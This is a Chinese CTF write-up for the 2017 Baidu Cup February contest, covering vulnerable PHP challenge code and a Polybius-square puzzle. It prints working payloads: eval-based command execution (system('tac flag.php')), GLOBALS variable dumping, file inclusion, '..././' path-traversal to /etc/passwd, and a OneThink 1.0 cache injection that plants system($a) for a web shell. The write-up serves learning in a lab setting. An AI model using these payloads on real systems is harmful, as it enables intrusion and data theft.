IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> “百度杯”CTF比赛 2017 二月场 wp -> 正文阅读

[PHP知识库]“百度杯”CTF比赛 2017 二月场 wp

目录

爆破-1

爆破-2

爆破-3

include

?Zone

OneThink

misc 2 上古神器


爆破-1

flag在一个长度为6的变量里面

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$$a ,可以实现变量覆盖,

hello传入GLOBALS全局变量,$$a可以实现查看全部变量

爆破-2

flag不在变量中

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

?变量配合var_dump好像可以直接rce了

?姿势很多了

hello=system('tac flag,php')?

hello=file('flag.php')

也可以直接

hello=hilight_file('flag.php')

hello=show_source('flag.php')

爆破-3

这个是真爆破

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

?代码审计

“百度杯”CTF比赛 2017 二月场--web 爆破-3 writeup_会下雪的晴天的博客-CSDN博客

说的也很清楚

  1. 设置变量nums为0;time为当前时间;whoami的值为:ea
  2. 120秒后结束回话
  3. 传入变量value的值
  4. 创建一个从 “a” 到 “z” 的数组$str_rand
  5. mt_rand()从0-25随机选取数字,整句话得到两个随机字母
  6. whoami需要等于value的前两位,并且value的md5值的第5为开始,长度为4的字符串==0
  7. 循环10次输出flag

md5直接那里直接用数组就可以绕过了

先传入ea,左上角会弹出新的随机字母,继续重复即可,手动的时间完全够

?

include

没错,就是文件包含漏洞

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

?使用伪协议, hackbar经常有问题,直接用burp就行

?

?

?Zone

网站要上线了,还没测试呢,怎么办?

“百度杯”CTF比赛 2017 二月场--Zone_FTOrange的博客-CSDN博客?

直接原页面抓包进,修改login=1,然后出现了

?这个页面继续抓包,修改login,响应头出现个location

?

跟着wp操作,尝试在这里访问系统目录 etc/passwd,用../穿越目录没出来,

禁用../的话用双写绕过..././ ,出来了

?wp又说查看nginx的配置,(因为这题大概是nginx的漏洞)

查找配位文件的位置为/etc/nginx/nginx.conf

?又是说最后一行包含了?sites-enabled/default? ,去访问这个

autoindex on 表示打开目录浏览功能,因此可以进行目录遍历了

直接访问/online-movies. ./

还有一个细节,通过robots.txt,知道flag在flag.php里

?

OneThink

利用已知的漏洞拿shell吧。

OneThink1.0文件缓存漏洞分析及题目复现 - 安全客,安全资讯平台?

这个文章讲了这个漏洞? ,直接学着用就行

注册页面 以?%0a$a=$_GET[a];#?? 作为用户名注册,并抓包 ,换行符和注释符都能绕过些东西

抓包后,对%0a进行URL解码,可以看到换行效果

?

?然后放包,注册成功

接着注册用户名????????%0asystem($a);#???看的出来是要配合rce的,过程同上

然后在按照次序登录这两个用户,过程也跟注册一样,成功登录

?然后访问缓存页面 ,配合rce,这个a就是我们登录后的$a了

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls

?目录穿越

?

misc 2 上古神器

“波利比奥斯棋盘”

3534315412244543_434145114215_132435231542

这个没遇到过,积累一波 ,就是根据密文找对应坐标的字母

这网站不错棋盘密码在线加密解密 - 千千秀字

?

?

其他两个misc好无聊,不写了

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2022-04-06 15:58:20  更:2022-04-06 15:59:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 13:25:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码